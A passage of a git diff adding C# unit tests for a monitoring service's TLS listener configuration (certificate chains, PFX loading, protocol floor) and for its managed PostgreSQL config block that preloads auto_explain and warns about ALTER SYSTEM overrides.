+        Assert.Equal(1, source.Split("TriageLink.TryGetHost(").Length - 1);
+        Assert.Contains("DarlingListenerTls.DescribeLoopbackListener(", source, StringComparison.Ordinal);
+        Assert.Contains("\"loopback also bound over plain HTTP\"", source, StringComparison.Ordinal);
+    }
+
+    /* ---- a shared PFX, loaded twice ---- */
+
+    [Fact]
+    public void SamePfx_LoadedTwice_DisposingOneLeavesTheOtherUsable()
+    {
+        /* Two listeners may name the same file. Each load must own an independent key, or the web's restart
+           would pull the key out from under the MCP listener (the Windows MachineKeySet-without-PersistKeySet
+           shape the loader uses). */
+        using var temp = new TempDir();
+        using var cert = Make("shared", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var config = WritePfx(temp, cert);
+
+        var first = DarlingWebTls.Load(config, DarlingWebTls.Describe(config).Shape);
+        using var second = DarlingWebTls.Load(config, DarlingWebTls.Describe(config).Shape);
+        first.Dispose();
+
+        var data = new byte[] { 1, 2, 3 };
+        using var rsa = second.Leaf.GetRSAPrivateKey()!;
+        var signature = rsa.SignData(data, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        Assert.True(cert.GetRSAPublicKey()!.VerifyData(data, signature, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1));
+    }
+
+    /* ---- F5: a real handshake against Kestrel configured through the shared body ---- */
+
+    [Fact]
+    public async Task ConfigureHttps_LeafPlusIntermediatePem_PresentsBothCertificates()
+    {
+        using var temp = new TempDir();
+        var (root, intermediate, leaf, leafKey) = Chain();
+        using (root)
+        using (intermediate)
+        using (leaf)
+        using (leafKey)
+        {
+            var certPath = Path.Combine(temp.Path, "chain.crt");
+            var keyPath = Path.Combine(temp.Path, "chain.key");
+            File.WriteAllText(certPath, leaf.ExportCertificatePem() + "\n" + intermediate.ExportCertificatePem() + "\n");
+            File.WriteAllText(keyPath, leafKey.ExportPkcs8PrivateKeyPem());
+
+            var outcome = DarlingListenerTls.Resolve(
+                new RecordingLogger(), new McpTlsCertificateState(), ListenerTlsLabels.Mcp,
+                new WebTlsConfig { CertPath = certPath, KeyPath = keyPath }, Listen, Port, null);
+            Assert.True(outcome.Expose);
+            var loaded = outcome.Certificate!.Value;
+            using (loaded)
+            {
+                var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+                {
+                    ContentRootPath = AppContext.BaseDirectory,
+                    EnvironmentName = Environments.Production,
+                });
+                builder.Logging.ClearProviders();
+                builder.WebHost.ConfigureKestrel(options =>
+                    options.Listen(IPAddress.Loopback, 0, listen =>
+                        listen.UseHttps(https => DarlingListenerTls.ConfigureHttps(https, loaded))));
+                await using var app = builder.Build();
+                await app.StartAsync();
+                try
+                {
+                    var address = app.Services.GetRequiredService<IServer>().Features.Get<IServerAddressesFeature>()!.Addresses.First();
+                    var presented = new List<string>();
+                    using var tcp = new TcpClient();
+                    await tcp.ConnectAsync(IPAddress.Loopback, new Uri(address).Port);
+                    using var ssl = new SslStream(tcp.GetStream(), false, (_, _, chain, _) =>
+                    {
+                        presented.AddRange(chain!.ChainElements.Select(element => element.Certificate.Thumbprint));
+                        return true;
+                    });
+                    await ssl.AuthenticateAsClientAsync("localhost");
+
+                    /* The client built its chain from what the server SENT: it trusts neither CA, so an
+                       intermediate it can name was on the wire. */
+                    Assert.Contains(leaf.Thumbprint, presented);
+                    Assert.Contains(intermediate.Thumbprint, presented);
+                }
+                finally
+                {
+                    await app.StopAsync();
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public void ConfigureHttps_NegotiatesTls12AndTls13Only()
+    {
+        /* #5288: the protocol floor is stated on the options rather than left to the operating system's default,
+           and the one shared body sets it for the web and the MCP listener alike. */
+        using var cert = Make("floor", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30));
+        var https = new HttpsConnectionAdapterOptions();
+
+        DarlingListenerTls.ConfigureHttps(https, new DarlingWebTls.LoadedCertificate(cert, new X509Certificate2Collection()));
+
+        Assert.Equal(SslProtocols.Tls12 | SslProtocols.Tls13, https.SslProtocols);
+        Assert.Same(cert, https.ServerCertificate);
+    }
+
+    /* ---- helpers ---- */
+
+    private static X509Certificate2 Make(
+        string cn, DateTimeOffset notBefore, DateTimeOffset notAfter, string[]? dns = null, string[]? ips = null)
+    {
+        using var rsa = RSA.Create(2048);
+        var request = new CertificateRequest($"CN={cn}", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        if (dns is not null || ips is not null)
+        {
+            var san = new SubjectAlternativeNameBuilder();
+            foreach (var name in dns ?? Array.Empty<string>())
+            {
+                san.AddDnsName(name);
+            }
+
+            foreach (var ip in ips ?? Array.Empty<string>())
+            {
+                san.AddIpAddress(IPAddress.Parse(ip));
+            }
+
+            request.CertificateExtensions.Add(san.Build());
+        }
+
+        return request.CreateSelfSigned(notBefore, notAfter);
+    }
+
+    private static WebTlsConfig WritePfx(TempDir temp, X509Certificate2 cert, string exportPassword = "hunter2", string? configPassword = null)
+    {
+        var path = Path.Combine(temp.Path, Guid.NewGuid().ToString("N") + ".pfx");
+        File.WriteAllBytes(path, cert.Export(X509ContentType.Pkcs12, exportPassword));
+
+        /* The password goes in as a file: reference, the shape a deployment is told to use, so a test that counts
+           the Warning lines is not also counting the plaintext-password warning. The tests for that warning put a
+           literal in the block themselves. */
+        var secret = Path.Combine(temp.Path, Guid.NewGuid().ToString("N") + ".secret");
+        File.WriteAllText(secret, configPassword ?? exportPassword);
+        MakePrivate(path);
+        return new WebTlsConfig { PfxPath = path, PfxPassword = "file:" + secret };
+    }
+
+    private static WebTlsConfig WritePem(TempDir temp, X509Certificate2 cert)
+    {
+        var id = Guid.NewGuid().ToString("N");
+        var certPath = Path.Combine(temp.Path, id + ".crt");
+        var keyPath = Path.Combine(temp.Path, id + ".key");
+        File.WriteAllText(certPath, cert.ExportCertificatePem());
+        File.WriteAllText(keyPath, cert.GetRSAPrivateKey()!.ExportPkcs8PrivateKeyPem());
+        MakePrivate(keyPath);
+        return new WebTlsConfig { CertPath = certPath, KeyPath = keyPath };
+    }
+
+    private static readonly SecurityIdentifier s_builtinUsers = new(WellKnownSidType.BuiltinUsersSid, null);
+
+    /// <summary>
+    /// Leaves <paramref name="path"/> readable by the current user alone (Windows): no inherited ACE and no Users
+    /// grant. Fixture files are private by construction, so a test that counts Warning lines is not also counting
+    /// the key-file warning on a machine whose temp folder grants Users read.
+    /// </summary>
+    private static void MakePrivate(string path)
+    {
+        if (!OperatingSystem.IsWindows())
+        {
+            return;
+        }
+
+        var info = new FileInfo(path);
+        var security = info.GetAccessControl();
+        security.SetAccessRuleProtection(isProtected: true, preserveInheritance: false);
+        security.PurgeAccessRules(s_builtinUsers);
+        security.AddAccessRule(new FileSystemAccessRule(
+            WindowsIdentity.GetCurrent().User!, FileSystemRights.FullControl, AccessControlType.Allow));
+        info.SetAccessControl(security);
+    }
+
+    /// <summary>Reproduces what a folder under the system drive root hands the files in it: BUILTIN\Users allowed Read.</summary>
+    private static void GrantUsersRead(string path)
+    {
+        var info = new FileInfo(path);
+        var security = info.GetAccessControl();
+        security.AddAccessRule(new FileSystemAccessRule(s_builtinUsers, FileSystemRights.Read, AccessControlType.Allow));
+        info.SetAccessControl(security);
+    }
+
+    /// <summary>A real root, intermediate and leaf, so the chain test measures the handshake itself.</summary>
+    private static (X509Certificate2 Root, X509Certificate2 Intermediate, X509Certificate2 Leaf, RSA LeafKey) Chain()
+    {
+        using var rootKey = RSA.Create(2048);
+        var rootRequest = new CertificateRequest("CN=listener-test-root", rootKey, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        rootRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(true, false, 0, true));
+        var root = rootRequest.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(3650));
+
+        using var interKey = RSA.Create(2048);
+        var interRequest = new CertificateRequest("CN=listener-test-intermediate", interKey, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        interRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(true, false, 0, true));
+        interRequest.CertificateExtensions.Add(new X509SubjectKeyIdentifierExtension(interRequest.PublicKey, false));
+        using var interNoKey = interRequest.Create(root, DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(1825), Guid.NewGuid().ToByteArray());
+        var intermediate = interNoKey.CopyWithPrivateKey(interKey);
+
+        var leafKey = RSA.Create(2048);
+        var leafRequest = new CertificateRequest("CN=localhost", leafKey, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+        leafRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(false, false, 0, true));
+        using var leafNoKey = leafRequest.Create(intermediate, DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), Guid.NewGuid().ToByteArray());
+        var leaf = leafNoKey.CopyWithPrivateKey(leafKey);
+
+        return (root, intermediate, leaf, leafKey);
+    }
+
+    private sealed class RecordingLogger : ILogger
+    {
+        private readonly List<(LogLevel Level, string Text)> _lines = new();
+
+        /// <summary>When set, a line at this level throws instead of being recorded.</summary>
+        public LogLevel? ThrowOn { get; init; }
+
+        public string[] At(LogLevel level) => _lines.Where(line => line.Level == level).Select(line => line.Text).ToArray();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            if (ThrowOn == logLevel)
+            {
+                throw new InvalidOperationException("injected after the certificate was loaded");
+            }
+
+            _lines.Add((logLevel, formatter(state, exception)));
+        }
+    }
+
+    private sealed class TempDir : IDisposable
+    {
+        public TempDir()
+        {
+            Path = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "darling-listener-tls-" + Guid.NewGuid().ToString("N"));
+            Directory.CreateDirectory(Path);
+        }
+
+        public string Path { get; }
+
+        public void Dispose()
+        {
+            try { Directory.Delete(Path, recursive: true); } catch { /* best-effort */ }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingManagedPostgresTests.cs b/Darling/Darling.Tests/DarlingManagedPostgresTests.cs
index 87a62452d4..738d69c9db 100644
--- a/Darling/Darling.Tests/DarlingManagedPostgresTests.cs
+++ b/Darling/Darling.Tests/DarlingManagedPostgresTests.cs
@@ -20,6 +20,7 @@
 using System.Security.Cryptography.X509Certificates;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using Microsoft.Extensions.Logging.Abstractions;
 using Npgsql;
 using PerformanceMonitor.Darling.Storage;
@@ -429,8 +430,8 @@ public void EveryConfMarker_IsDistinct_AndNoneIsASubstringOfAnother()
            silent failure this shape invites. Eleven blocks as of #3175; twelve as of #3802 (v12 WAL sizing);
            thirteen as of #3899 (v13 statement statistics); fourteen as of #3909 (v14 PostgreSQL 17
            maintenance_work_mem limit); fifteen as of #4246 (v15 WAL compression); sixteen as of #4246 (v16
-           checkpoint interval); seventeen as of v17 (log line prefix). */
-        Assert.Equal(17, markers.Length);
+           checkpoint interval); seventeen as of v17 (log line prefix); eighteen as of v18 (auto_explain). */
+        Assert.Equal(18, markers.Length);
 
         Assert.Equal(markers.Length, markers.Select(m => m.Value).Distinct(StringComparer.Ordinal).Count());
 
@@ -523,13 +524,13 @@ public void FreshConfHeal_KeepsTimescaleInThePreloadList_AndASecondHealAppendsNo
             pg.EnsureConfAppended(dataDirectory);
             var first = File.ReadAllText(confPath);
             Assert.Equal(1, CountOccurrences(first, DarlingManagedPostgres.ConfMarkerV13));
-            Assert.Equal("timescaledb,pg_stat_statements", LastConfAssignment(first, "shared_preload_libraries"));
+            Assert.Equal("timescaledb,pg_stat_statements,auto_explain", LastConfAssignment(first, "shared_preload_libraries"));
             Assert.Equal("off", LastConfAssignment(first, "pg_stat_statements.track_utility"));
 
             pg.EnsureConfAppended(dataDirectory);
             var second = File.ReadAllText(confPath);
             Assert.Equal(1, CountOccurrences(second, DarlingManagedPostgres.ConfMarkerV13));
-            Assert.Equal("timescaledb,pg_stat_statements", LastConfAssignment(second, "shared_preload_libraries"));
+            Assert.Equal("timescaledb,pg_stat_statements,auto_explain", LastConfAssignment(second, "shared_preload_libraries"));
         }
         finally
         {
@@ -595,22 +596,40 @@ public void V13AlterSystemPreloadOverride_WithoutTheLibrary_IsLoggedWithAMultiLi
             new DarlingManagedPostgres(config, none).LogStatementStatisticsPreloadCoverage(dataDirectory);
             Assert.Equal("(no log lines captured)", none.Joined);
 
-            File.WriteAllText(autoConfPath, "# Do not edit this file manually!\nshared_preload_libraries = 'timescaledb, pg_stat_statements'\n");
+            File.WriteAllText(autoConfPath, "# Do not edit this file manually!\nshared_preload_libraries = 'timescaledb, pg_stat_statements, auto_explain'\n");
             var carried = new CapturingTestLogger();
             new DarlingManagedPostgres(config, carried).LogStatementStatisticsPreloadCoverage(dataDirectory);
             Assert.Equal("(no log lines captured)", carried.Joined);
 
+            /* v18: an override that carries pg_stat_statements but not auto_explain gets ONE warning, naming
+               auto_explain and the fix that carries both, one quoted literal per library. The
+               pg_stat_statements message is not part of this case. */
+            File.WriteAllText(autoConfPath, "# Do not edit this file manually!\nshared_preload_libraries = 'timescaledb, pg_stat_statements'\n");
+            var withoutAutoExplain = new CapturingTestLogger();
+            new DarlingManagedPostgres(config, withoutAutoExplain).LogStatementStatisticsPreloadCoverage(dataDirectory);
+            var autoExplainLine = Assert.Single(withoutAutoExplain.Lines);
+            Assert.StartsWith("Warning: ", autoExplainLine, StringComparison.Ordinal);
+            Assert.Contains("without auto_explain", autoExplainLine, StringComparison.Ordinal);
+            Assert.Contains("AFTER postgresql.conf", autoExplainLine, StringComparison.Ordinal);
+            Assert.Contains("ALTER SYSTEM SET shared_preload_libraries = 'timescaledb', 'pg_stat_statements', 'auto_explain'", autoExplainLine, StringComparison.Ordinal);
+            Assert.DoesNotContain("without pg_stat_statements", autoExplainLine, StringComparison.Ordinal);
+
             const string AutoConf = "# Do not edit this file manually!\n# It will be overwritten by the ALTER SYSTEM command.\nshared_preload_libraries = 'timescaledb'\n";
             File.WriteAllText(autoConfPath, AutoConf);
             var logger = new CapturingTestLogger();
             new DarlingManagedPostgres(config, logger).LogStatementStatisticsPreloadCoverage(dataDirectory);
 
-            var line = Assert.Single(logger.Joined.Split(" | "));
+            /* The pg_stat_statements warning is the FIRST line and is exactly what v13 shipped; an override
+               that lacks auto_explain too gets a second line naming it (v18). */
+            Assert.Equal(2, logger.Lines.Count);
+            var line = logger.Lines[0];
             Assert.StartsWith("Warning: ", line, StringComparison.Ordinal);
-            Assert.Contains("shared_preload_libraries = 'timescaledb'", line, StringComparison.Ordinal);
-            Assert.Contains("AFTER postgresql.conf", line, StringComparison.Ordinal);
-            Assert.Contains("ALTER SYSTEM SET shared_preload_libraries = 'timescaledb', 'pg_stat_statements'", line, StringComparison.Ordinal);
+            Assert.Equal(
+                "Warning: postgresql.auto.conf sets shared_preload_libraries = 'timescaledb' (an ALTER SYSTEM override) without pg_stat_statements. PostgreSQL reads postgresql.auto.conf AFTER postgresql.conf, so the v13 block's preload is inert and the store records no statement statistics until the override includes it: ALTER SYSTEM SET shared_preload_libraries = 'timescaledb', 'pg_stat_statements', then restart the store. One quoted literal per library: a single literal holding the whole list is stored as one library name, and the store would not start. This service does not edit postgresql.auto.conf.",
+                line);
             Assert.DoesNotContain("'timescaledb,pg_stat_statements'", line, StringComparison.Ordinal);
+            Assert.Contains("without auto_explain", logger.Lines[1], StringComparison.Ordinal);
+            Assert.Contains("ALTER SYSTEM SET shared_preload_libraries = 'timescaledb', 'pg_stat_statements', 'auto_explain'", logger.Lines[1], StringComparison.Ordinal);
             Assert.Equal(AutoConf, File.ReadAllText(autoConfPath));
         }
         finally
@@ -680,14 +699,15 @@ public void AnEditTheV13BlockOverrides_AndALaterListWithoutTheLibrary_AreBothNam
             new DarlingManagedPostgres(config, pristine).LogStatementStatisticsPreloadCoverage(dataDirectory);
             Assert.Equal("(no log lines captured)", pristine.Joined);
 
-            /* An operator adds auto_explain to v1's line, above the v13 block. */
+            /* An operator adds pg_prewarm to v1's line, above the v13 block. (auto_explain is no longer the
+               example: v18 loads it, so the list in force names it and nothing is overridden.) */
             var healed = File.ReadAllText(confPath);
             File.WriteAllText(confPath, healed.Replace(
-                "shared_preload_libraries = 'timescaledb'\n", "shared_preload_libraries = 'timescaledb,auto_explain'\n", StringComparison.Ordinal));
+                "shared_preload_libraries = 'timescaledb'\n", "shared_preload_libraries = 'timescaledb,pg_prewarm'\n", StringComparison.Ordinal));
             var edited = new CapturingTestLogger();
             new DarlingManagedPostgres(config, edited).LogStatementStatisticsPreloadCoverage(dataDirectory);
             var overridden = Assert.Single(edited.Joined.Split(" | "));
-            Assert.StartsWith("Warning: auto_explain is named by the shared_preload_libraries assignment at", overridden, StringComparison.Ordinal);
+            Assert.StartsWith("Warning: pg_prewarm is named by the shared_preload_libraries assignment at", overridden, StringComparison.Ordinal);
             Assert.Contains("replaces the whole list", overridden, StringComparison.Ordinal);
 
             /* An operator appends their own list after the block, without the library. */
@@ -2569,6 +2589,203 @@ public void EnsureConfAppended_AppendsV17Once_AndNotAgainOnANextStart()
         }
     }
 
+    /* ===================== v18 slow-statement plans (auto_explain, part of #5097) ===================== */
+
+    private const string ExpectedV18Body =
+        "\n# Managed by PerformanceMonitor Darling (v18 slow-statement plans) -- do not remove this block\n"
+        + "shared_preload_libraries = 'timescaledb,pg_stat_statements,auto_explain'\n"
+        + "auto_explain.log_min_duration = 10s\n"
+        + "auto_explain.log_analyze = off\n"
+        + "auto_explain.log_format = json\n"
+        + "auto_explain.log_nested_statements = off\n"
+        + "auto_explain.log_verbose = on\n"
+        + "auto_explain.log_settings = on\n"
+        + "auto_explain.log_parameter_max_length = 0\n";
+
+    /// <summary>The v18 block's text, exactly: the merged preload list with <c>auto_explain</c> last, then the
+    /// seven settings in the form the migration classifier compares against.</summary>
+    [Fact]
+    public void SlowPlanConfAppend_IsExactlyTheDocumentedBlock()
+    {
+        var block = DarlingManagedPostgres.BuildSlowPlanConfAppend("timescaledb,pg_stat_statements");
+
+        Assert.Equal(ExpectedV18Body, block);
+        Assert.Contains(DarlingManagedPostgres.ConfMarkerV18, block, StringComparison.Ordinal);
+        Assert.Equal("auto_explain", DarlingManagedPostgres.AutoExplainLibrary);
+
+        /* No fingerprint or stamp line, or the v8/v12 staleness checks would misread what they scan. */
+        Assert.DoesNotContain(DarlingManagedPostgres.ConfHardwareFingerprintPrefix, block, StringComparison.Ordinal);
+        Assert.DoesNotContain(DarlingManagedPostgres.ConfWalSizingStampPrefix, block, StringComparison.Ordinal);
+
+        /* The settings that make the plan safe to keep: the plan is JSON the store-log parser reads, the
+           bind values never reach it, and no instrumentation runs on a statement under the threshold. */
+        Assert.Equal("json", LastSettingValue(block, "auto_explain.log_format"));
+        Assert.Equal("0", LastSettingValue(block, "auto_explain.log_parameter_max_length"));
+        Assert.Equal("off", LastSettingValue(block, "auto_explain.log_analyze"));
+    }
+
+    /// <summary>The builder merges, never writes a literal: an operator's library survives, auto_explain is
+    /// appended last, and an absent list merges from timescaledb.</summary>
+    [Theory]
+    [InlineData(null, "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("", "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("timescaledb", "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("timescaledb,pg_stat_statements", "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("timescaledb,pg_prewarm", "timescaledb,pg_prewarm,pg_stat_statements,auto_explain")]
+    [InlineData("timescaledb,auto_explain", "timescaledb,auto_explain,pg_stat_statements")]
+    [InlineData("timescaledb,Auto_Explain,PG_STAT_STATEMENTS", "timescaledb,Auto_Explain,PG_STAT_STATEMENTS")]
+    [InlineData("\"timescaledb\" , pg_stat_statements", "timescaledb,pg_stat_statements,auto_explain")]
+    public void SlowPlanConfAppend_MergesThePreloadList(string? effective, string expected)
+        => Assert.Equal(expected, LastSettingValue(DarlingManagedPostgres.BuildSlowPlanConfAppend(effective), "shared_preload_libraries")?.Trim('\''));
+
+    /// <summary>The generalised merge: the required libraries are added in the order given, the list never
+    /// shrinks, spelling and order are kept, case-insensitive duplicates are dropped, and a second merge of
+    /// the result changes nothing. v13's one-library call keeps its output.</summary>
+    [Theory]
+    [InlineData("timescaledb", "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("auto_explain,timescaledb", "auto_explain,timescaledb,pg_stat_statements")]
+    [InlineData("timescaledb,Auto_Explain", "timescaledb,Auto_Explain,pg_stat_statements")]
+    [InlineData("timescaledb,pg_stat_statements,auto_explain,auto_explain", "timescaledb,pg_stat_statements,auto_explain")]
+    [InlineData("a,b,c", "a,b,c,pg_stat_statements,auto_explain")]
+    public void MergePreloadLibraryNames_WithRequiredLibraries_NeverShrinks_AndIsIdempotent(string effective, string expected)
+    {
+        var required = new[] { DarlingManagedPostgres.StatementStatisticsLibrary, DarlingManagedPostgres.AutoExplainLibrary };
+
+        var merged = DarlingManagedPostgres.MergePreloadLibraryNames(effective, required);
+
+        Assert.Equal(expected, string.Join(",", merged));
+        foreach (var original in DarlingManagedPostgres.ParsePreloadList(effective))
+        {
+            Assert.Contains(original, merged);
+        }
+
+        var again = DarlingManagedPostgres.MergePreloadLibraryNames(string.Join(",", merged), required);
+        Assert.Equal(merged, again);
+    }
+
+    /// <summary>v13's callers: the one-library merge is byte for byte what it was before v18.</summary>
+    [Fact]
+    public void MergePreloadLibraries_OneLibraryForm_IsUnchanged()
+    {
+        Assert.Equal("timescaledb,pg_stat_statements", DarlingManagedPostgres.MergePreloadLibraries("timescaledb"));
+        Assert.Equal("timescaledb,auto_explain,pg_stat_statements", DarlingManagedPostgres.MergePreloadLibraries("timescaledb,auto_explain"));
+        Assert.Equal(
+            "timescaledb,pg_stat_statements",
+            string.Join(",", DarlingManagedPostgres.MergePreloadLibraryNames("timescaledb", new[] { DarlingManagedPostgres.StatementStatisticsLibrary })));
+    }
+
+    [Fact]
+    public void ConfMarkerV18_IsLastInAllManagedConfMarkers()
+        => Assert.Equal(DarlingManagedPostgres.ConfMarkerV18, DarlingManagedPostgres.AllManagedConfMarkers[^1]);
+
+    /// <summary>
+    /// The heal on real files, from a Legacy conf that carries v1 only: v18 lands once, LAST (after v17), with
+    /// the preload list still holding <c>timescaledb</c> first (the re-read, because the text read at the top
+    /// of the heal predates the v1 and v13 appends), and a second start appends nothing. The Information line
+    /// says the library loads at the next start the service owns.
+    /// </summary>
+    [Fact]
+    public void EnsureConfAppended_AppendsV18LastAndOnce_KeepsTimescaleFirst_AndSaysWhenItLoads()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-v18-");
+        try
+        {
+            var dataDirectory = Path.Combine(root.FullName, "pg");
+            Directory.CreateDirectory(dataDirectory);
+            var confPath = Path.Combine(dataDirectory, "postgresql.conf");
+            File.WriteAllText(confPath, "#shared_preload_libraries = ''\t# (change requires restart)\n#port = 5432\n");
+
+            var logger = new CapturingTestLogger();
+            var pg = new DarlingManagedPostgres(
+                new PostgresConfig { Managed = true, Port = 5989, DataDirectory = dataDirectory }, logger);
+
+            pg.EnsureConfAppended(dataDirectory);
+            var first = File.ReadAllText(confPath);
+            Assert.Equal(1, CountOccurrences(first, DarlingManagedPostgres.ConfMarkerV18));
+            Assert.True(
+                first.IndexOf(DarlingManagedPostgres.ConfMarkerV18, StringComparison.Ordinal)
+                    > first.IndexOf(DarlingManagedPostgres.ConfMarkerV17, StringComparison.Ordinal),
+                "v18 must be appended after v17");
+            Assert.EndsWith(ExpectedV18Body.Replace("\r\n", "\n"), first.Replace("\r\n", "\n"), StringComparison.Ordinal);
+            Assert.Equal("timescaledb,pg_stat_statements,auto_explain", LastConfAssignment(first, "shared_preload_libraries"));
+            Assert.Equal("10s", LastSettingValue(first, "auto_explain.log_min_duration"));
+
+            var logged = Assert.Single(logger.Lines, l => l.Contains("Appended v18 slow-statement plans", StringComparison.Ordinal));
+            Assert.StartsWith("Information: ", logged, StringComparison.Ordinal);
+            Assert.Contains("next start it owns", logged, StringComparison.Ordinal);
+
+            pg.EnsureConfAppended(dataDirectory);
+            var second = File.ReadAllText(confPath);
+            Assert.Equal(first, second);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>An operator's library on v1's line survives v13 and v18, in order, with auto_explain last.</summary>
+    [Fact]
+    public void EnsureConfAppended_V18_KeepsTheOperatorsPreloadLibraries()
+    {
+        var root = Directory.CreateTempSubdirectory("darling-v18op-");
+        try
+        {
+            var dataDirectory = Path.Combine(root.FullName, "pg");
+            Directory.CreateDirectory(dataDirectory);
+            var confPath = Path.Combine(dataDirectory, "postgresql.conf");
+            File.WriteAllText(confPath,
+                DarlingManagedPostgres.BuildConfAppend(5988)
+                + "shared_preload_libraries = 'timescaledb,pg_prewarm'   # the operator's own\n");
+
+            new DarlingManagedPostgres(
+                new PostgresConfig { Managed = true, Port = 5988, DataDirectory = dataDirectory }, NullLogger.Instance)
+                .EnsureConfAppended(dataDirectory);
+
+            Assert.Equal(
+                "timescaledb,pg_prewarm,pg_stat_statements,auto_explain",
+                LastConfAssignment(File.ReadAllText(confPath), "shared_preload_libraries"));
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>
+    /// v18 adds no restart, stop or reload anywhere. It is written by the pre-start conf paths and takes
+    /// effect on the next start the service itself performs. Pinned at the source, on the code only (comments
+    /// stripped): the builder and the heal block.
+    /// </summary>
+    [Fact]
+    public void TheV18Code_ContainsNoRestartStopOrReload()
+    {
+        var source = ReadManagedPostgresSource();
+
+        var builderStart = source.IndexOf("public static string BuildSlowPlanConfAppend(", StringComparison.Ordinal);
+        Assert.True(builderStart >= 0, "could not find BuildSlowPlanConfAppend");
+        var builderEnd = source.IndexOf("\n    }", builderStart, StringComparison.Ordinal);
+        Assert.True(builderEnd > builderStart, "could not find the end of BuildSlowPlanConfAppend");
+
+        var healStart = source.IndexOf("if (!conf.Contains(ConfMarkerV18, StringComparison.Ordinal))", StringComparison.Ordinal);
+        Assert.True(healStart >= 0, "could not find the v18 heal block");
+        var healEnd = source.IndexOf("LogStatementStatisticsPreloadCoverage(dataDirectory);", healStart, StringComparison.Ordinal);
+        Assert.True(healEnd > healStart, "could not find the end of the v18 heal block");
+
+        foreach (var region in new[] { source[builderStart..builderEnd], source[healStart..healEnd] })
+        {
+            var code = System.Text.RegularExpressions.Regex.Replace(region, @"/\*.*?\*/", string.Empty, System.Text.RegularExpressions.RegexOptions.Singleline);
+            code = System.Text.RegularExpressions.Regex.Replace(code, @"//[^\r\n]*", string.Empty);
+            foreach (var forbidden in new[] { "pg_ctl restart", "pg_ctl stop", "pg_reload_conf", "StopAsync", "RestartAsync" })
+            {
+                Assert.DoesNotContain(forbidden, code, StringComparison.OrdinalIgnoreCase);
+            }
+
+            /* "reload" as the start of a word: the identifier EffectivePreloadList contains it mid-word. */
+            Assert.DoesNotMatch(@"(?<![A-Za-z])reload", code);
+        }
+    }
+
     /* ===================== v12 wal sizing (#3802) ===================== */
 
     private const long OneGb = 1024L * 1024 * 1024;
@@ -2707,6 +2924,154 @@ public void WalSizingConfAppend_PinsCheckpointCompletionTarget_OnlyBelowPg14(int
         Assert.False(DarlingManagedPostgres.ConfHasCurrentWalSizingStamp(block, DarlingManagedPostgres.BuildWalSizingStamp(settings, postgresMajor + 1)));
     }
 
+    /// <summary>Runs <see cref="DarlingManagedPostgres.EnsureConfAppended"/> once per (free bytes, PG major) step
+    /// against one data directory, with the volume read replaced (#5459), and returns the conf text after each.</summary>
+    private static List<string> HealWalSizingAcrossStarts(params (long FreeBytes, int Major)[] starts)
+        => HealWalSizingAcrossStarts(NullLogger.Instance, starts);
+
+    private static List<string> HealWalSizingAcrossStarts(ILogger logger, params (long FreeBytes, int Major)[] starts)
+    {
+        var root = Directory.CreateTempSubdirectory("darling-v12-drift-");
+        try
+        {
+            var dataDirectory = Path.Combine(root.FullName, "pg");
+            Directory.CreateDirectory(dataDirectory);
+            var confPath = Path.Combine(dataDirectory, "postgresql.conf");
+            File.WriteAllText(confPath, DarlingManagedPostgres.BuildConfAppend(5993));
+            var pg = new DarlingManagedPostgres(
+                new PostgresConfig { Managed = true, Port = 5993, DataDirectory = dataDirectory }, logger);
+
+            var afterEachStart = new List<string>();
+            foreach (var (freeBytes, major) in starts)
+            {
+                File.WriteAllText(Path.Combine(dataDirectory, "PG_VERSION"), major.ToString(System.Globalization.CultureInfo.InvariantCulture) + "\n");
+                pg.EnsureConfAppended(dataDirectory, _ => (freeBytes, 120 * OneGb));
+                afterEachStart.Add(File.ReadAllText(confPath));
+            }
+
+            return afterEachStart;
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    /// <summary>
+    /// #5459, the writer's side: a start whose free-space reading is just across a rung edge from the one the
+    /// block was written at keeps that block. The file is byte-identical, in both directions of the crossing and
+    /// at every edge, so a volume hovering at an edge no longer grows postgresql.conf by one block per flip.
+    /// </summary>
+    [Theory]
+    [InlineData(16, 300)]
+    [InlineData(32, 300)]
+    [InlineData(64, 1024)]
+    [InlineData(128, 2048)]
+    public void WalSizing_StartJustAcrossARungEdge_AppendsNothing(long edgeGb, long churnMb)
+    {
+        var above = edgeGb * OneGb + churnMb * 1024L * 1024;
+        var below = edgeGb * OneGb - churnMb * 1024L * 1024;
+        Assert.NotEqual(
+            DarlingManagedPostgres.DeriveWalSettings(above).MaxWalSizeMb,
+            DarlingManagedPostgres.DeriveWalSettings(below).MaxWalSizeMb);
+
